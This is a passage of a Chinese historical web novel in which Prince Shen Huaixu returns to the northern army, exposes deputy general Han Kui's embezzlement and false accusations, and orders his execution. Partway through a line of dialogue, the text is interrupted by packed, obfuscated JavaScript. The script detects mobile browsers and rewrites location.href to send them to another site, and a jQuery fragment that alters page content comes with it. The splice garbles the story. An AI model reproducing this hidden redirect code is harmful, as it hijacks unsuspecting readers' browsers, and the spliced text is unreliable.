这是知道他没吃早饭,沈淮序点了点头,自然地拿过了叶瑾手里的粥,一点也不介意地直接吃了,叶瑾都愣怔了。
“你……这是我吃过的。”
“嗯,我知道,看着就很好吃。”沈淮序甚至还把她的筷子拿了过来,吃了面前的小菜。
叶瑾没忍住瞋了他一眼,才又从一旁的桌子上端了一份早饭过来——这才是给他准备的。
两人吃好早饭,在廊下散步,叶瑾才问道:“谢长安怎么说?”
“韩魁的证据都拿到了,贺炎帮了不少忙。”沈淮序伸手拿过她放在一旁的披风,替她仔细裹好,“如今,只等我入军营之日,将事情一并揭开。”
叶瑾靠在他肩上,神色渐渐认真:“军中定有韩魁的党羽,你这一步下去,难免有一番动荡。”
“动荡是迟早的事,但这一刀也必须挥下去。”沈淮序眼神幽远,语气却平静沉稳,“这么多年了,沈家军里情况也挺复杂,这一次,我要让所有人都清楚什么可做,什么不可做。”
叶瑾目光微凝,随即语带几分调侃:“可惜了,这段安稳日子怕是快结束了。”
沈淮序低头看她,唇角含笑:“怎么,舍不得?”
“还没享受几日,舍不得也正常。”叶瑾叹了一口气,却并未真的露出半点不舍,神色平和又从容,“不过,我也早就做好了准备,陪你一起。”
沈淮序看着她,眼底柔意浓重:“有你在,我才能毫无顾忌地往前走。”
叶瑾抬手戳了戳他胸口,佯作嫌弃道:“你可得记住这话,以后可不许赖账。”
沈淮序轻笑一声,抓住她手指,声音低而柔:“你要是不信,现在立字据都成。”
叶瑾顿时无奈地瞪了他一眼,收回手继续散步:“我还在消食呢,别打岔。”
沈淮序低笑几声,眼底的笑意越发柔和了。
院子外风声轻缓,静山馆的时光温柔静谧。此刻,两人都未再多说话,只静静靠着,安然地享受着难得的片刻安宁。
春寒料峭,山风猎猎,北境军营大门于黎明时分缓缓开启。
营外山道一线,两道身影并肩而行,一前一后踏入军前空地。
为首之人一袭黑甲,身形挺拔,步履稳健。日光方露,他整个人却像自阴影中走出,带着难以忽视的压迫气场。未言一语,眼神如刃,沉沉落在军门之内的列队士兵身上。
随行者则着一身素色长衫,面色清淡,眉目温雅,却难掩旅途风尘。他身无甲胄,却持卷宗于怀,神情肃然。
二人尚未至营门,便已有兵卒悄声低语:
“那是谁?”
“你看那黑甲男子的气势……不像寻常人。”
“后面那位……是谢军师吧?”居然有谢军师陪着,肯定不一般。
兵卒议论未毕,营门之内已有一人快步而出。
正是柳景将军。
他银鬓苍然,眼眶微红,一身战袍未解,披风被风吹得猎猎作响,却顾不得理整。数步疾行至黑甲男子面前,在众人还未反应过来时,已猛地单膝跪地,拳抵胸前,沉声颤道:
“末将柳景,恭迎王爷归营!”
这一声“王爷”,如雷轰耳。
紧接着,营内数位年长将领闻讯而至,或快步奔来,或持剑而立,皆面露激动之色。一时间,营门处跪声连绵:“参见镇北王!”
众兵卒皆震,眼神从疑惑转为愕然,再至震惊失语。
“镇北王?”有人喃喃低语。
“他是沈大川将军的儿子……沈淮序?”
“不是说他一直在沧都,只做闲散王候,从不管军务?”
“那是昭武帝压着,不让他碰兵权……可他本就挂着‘镇北王’与‘沈家军大将军’之名,如今亲临北境——”
语音未落,所有兵卒已本能立正,腰脊笔直,面容肃然。
柳将军这一跪,不只是放低姿态,更是老一辈沈家军的表态。
短暂的静默后,谢长安亦沉稳上前,低声道:“王爷,请入营。”
沈淮序立于原地,垂眸看着柳景,眼中情绪起伏微动。
片刻后,他俯身亲手将柳景扶起,语声不高,却字字铿锵:
“柳叔不必多礼。是我,回来了。”
此言一落,营门内外的沈家军将士终于再无怀疑,不少人眼眶发热,纷纷挺身立正,甲胄铿锵作响,宛如雷鸣。
沈淮序的现身,人群还未完全反应过来,便见那随镇北王一道入营的女子,抬手卸下头盔,露出一张轮廓凌厉却明艳逼人的面容。
是叶瑾无疑。
她一身甲衣,气势逼人,步履沉稳,眸色冷静,脸上不施粉黛,却比从前任何时刻都更夺目。
此前她在军中虽未藏性别,但始终压着气息行事,众人对她的印象多是“厉害”、“能打”、“冷着脸”的少年女兵模样。此刻骤然见她以毫无收敛的姿态随镇北王并肩而行,皆是神情震动,不由低声议论:
“是叶瑾没错,她怎么——气势变得这么强?”
“我之前还真没看清她长什么样……今日才发现,她居然长得这么……这么惊人。”
“将军带她一同归营,莫非是有意提拔?”
“这不是提拔的问题了吧……能随镇北王一同行动,她本身就不一般。”
一时间,目光纷纷投向她。
有人敬佩,有人揣测,但无一例外都神色肃然——军中尊强,叶瑾的强早已打出来了,如今那一身刀气与镇北王身旁的从容自若,更添三分压迫。
沈淮序步入中军大帐之际,已由谢长安亲自召集了各级将领,除边关驻守将士外,沈家军能抽调者尽数齐至。
军帐之内,众人肃立,气氛凝重。
沈淮序居上位,未曾落座。叶瑾站于其左,谢长安则将一封封文书卷宗摆在案几之上,朗声道:
“……经调查,副将韩魁,私改兵籍、挪用粮草、贪墨军械,并于镇北王未归前,暗中上书朝廷,诬陷王爷意图谋反,以求邀功上位!”
军中一片哗然。
“怎会——韩魁竟做出此等事!”
“他当年可以被沈大川将
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699254|166796||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
军一手提拔!为何会——”
沈淮序语声冷厉,打断了众人惊疑。
“昔日我父、兄为保北疆血洒沙场,换来的却是他借军权中饱私囊、献媚邀宠。”
“此等人,不配留在沈家军中。”柳将军第一个表态道。
韩魁被沈擎压入军帐之时,披发垂肩,身上的甲胄略显凌乱,脚步不稳,却仍竭力维持着身姿挺直。
他眼角淤青,嘴角带血,显是曾试图抵抗,却未能得逞。可他神情却无惧色,反而隐隐透出一种与人赌到底的倔意。
帐中将士一见他现身,皆露出愕然与难以置信,交头接耳之声难掩。
谢长安走上一步,展开一封封文书卷宗,语声铿然:
“副将韩魁,证据俱在,你还有何话可说?”
韩魁垂眸一瞬,随即缓缓抬头看向沈淮序,语声不急不缓:“你果然回来了。”
这一句,半是感慨,半是认命。
沈淮序不语,只盯着他。
韩魁环顾众人一圈,目光在几位将领脸上扫过,停在柳将军身上,轻笑一声:“我不是不知错在哪儿,也不是没想过躲。”
“可镇北王回来,谁能躲得掉?”
“我知自己这副皮囊,披了多少年的忠义外衣,早就穿不住了。”
他说得平静,语气不带一丝悔意,只像是在总结自己的结局。
叶瑾站出一步,手中扬起那封韩魁亲笔信函,语声冷清:“你能坦然面对,倒是比我想的强些。但这信上的每一笔,每一句陷害镇北王的言语,你都写得极其顺手。”
韩魁不避视线,与她对望:“你这小丫头,当初就觉得你会成长得不一般,如今见你站在这里,倒是一点也不觉得意外。但我不是要害他,是我不想死。”
他顿了顿,眼神黯下:“这些年我做的事……他若回来,我便活不成。”
沈淮序终于开口,声如寒锋:“你心里有数,为何还要走这一条路?”
韩魁低笑一声:“因为贪。你不会懂的。”
他停了片刻,收敛笑意,神情反倒透出几分疲惫,“若不是你父亲当年救过我,我本该在南口一役便死了。可惜我终究没守住他的期望。”
沈淮序微垂眼睫:“你明白就好。”
他不再多言,挥手示意:“韩魁之罪证据确凿,按沈家军军规,斩。”
韩魁并未挣扎,只在被押离军帐时回望沈淮序一眼,低声一笑,却什么都没说。
这一次,无人再替他说一句情分。
外帐执军律者将其押出。军帐内,一时间静得落针可闻。
片刻后,帐下一位年长将领起身抱拳,沉声道:“镇北王,韩魁已除,军心未稳,愿听王爷号令。”
沈淮序扫视全场,眼神沉稳如铁。
“我沈家军,不养奸人,不容懦夫。自即日起,凡敢扰军心者,按律斩。”
军中肃然,威压如山。
叶瑾与谢长安目光交汇,皆见对方眼中微动——这一场肃军,不只是针对韩魁,也是沈淮序在北境立威的第一剑。